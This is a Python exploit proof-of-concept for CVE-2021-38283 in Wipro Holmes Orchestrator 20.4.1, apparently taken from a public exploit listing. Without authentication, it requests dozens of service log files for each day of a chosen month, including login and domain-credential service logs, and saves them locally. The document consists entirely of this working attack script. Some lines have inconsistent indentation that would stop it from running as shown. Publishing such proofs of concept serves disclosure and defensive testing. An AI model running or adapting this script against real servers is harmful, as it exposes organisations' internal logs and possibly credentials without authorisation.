# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure
# Date: 09/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38283

import requests as rq
import argparse
import datetime
import os
from calendar import monthrange
from multiprocessing.dummy import Pool as ThreadPool
from functools import partial

# Change if running on different port
port = 8001

log_list = [
  "AlertService.txt",
  "ApprovalService.txt",
  "AuditService.txt",
  "CustomerController.txt",
  "CustomerDomainCredentialService.txt",
  "CustomerFileService.txt",
  "CustomerService.txt",
  "DashboardController.txt",
  "DataParseService.txt",
  "DomainService.txt",
  "ExecutionService.txt",
  "ExternalAPIService.txt",
  "FilesController.txt",
  "FormService.txt",
  "InfrastructureService.txt",
  "ITSMConfigPrepService.txt",
  "LicenseService.txt",
  "LoginService.txt",
  "MailService.txt",
  "MasterdataController.txt",
  "NetworkService.txt",
  "OrchestrationPreparationService.txt",
  "ProblemInfrastructureService.txt",
  "ProcessExecutionService.txt",
  "ServiceRequestService.txt",
  "SolutionController.txt",
  "SolutionLiveService.txt",
  "SolutionService.txt",
  "StorageService.txt",
  "TaskService.txt",
  "TicketingService.txt",
  "UserController.txt",
  "UtilityService.txt"

]

def check_month(val):
  ival = int(val)
  if ival > 0 and ival < 13:
    return ival
  else:
    raise argparse.ArgumentTypeError("%s is not a valid month" % val)

def check_year(val):
        iyear = int(val)
        if iyear >= 1960 and iyear <= datetime.date.today().year:
                return iyear
        else:
                raise argparse.ArgumentTypeError("%s is not a valid year" % val)


def do_request(target, date, log_file):
  log_url = "http://%s/log/%s/%s" % (target, date, log_file)

  log_name = "%s_%s" % (date, log_file)
  print ("[*] Requesting Log: /log/%s/%s" % (date, log_file))

  resp = rq.get(log_url)

  if resp.status_code == 200 and not "Wipro Ltd." in resp.text:
    print ("[+] Success : %s" % log_url)
    #print (resp.text[0:150] + "\n<...snipped...>")
    with open("logs/%s" % log_name, 'w') as lf:
      lf.write(resp.text)
    lf.close()
    print ("[*] Log File Written to ./logs/%s" % (log_name))

def main():

  parser = argparse.ArgumentParser(
      description="Wipro Holmes Orchestrator 20.4.1 Unauthenticated Log File Disclosure",
      epilog="Vulnerability Discovery, PoC Author - Rizal Muhammed @ub3sick"
    )

  parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
        parser.add_argument("-m","--month", help="Month of the log, (1=JAN, 2=FEB etc.)", required=True, type=check_month)
        parser.add_argument("-y","--year", help="year of the log", required=True, type=check_year)
        args = parser.parse_args()

  ndays = monthrange(args.year, args.month)[1]
  date_list = ["%s" % datetime.date(args.year, args.month,day) for day in range(1,ndays+1,1)]

  target = "%s:%s" % (args.target_ip, port)

  # create folder "logs" to save log files, if does not exist
  if not os.path.exists("./logs"):
    os.makedirs("./logs")

  for log_date in date_list:
    for log_file in log_list:
      do_request(target, log_date, log_file)

if __name__ == "__main__":
  main()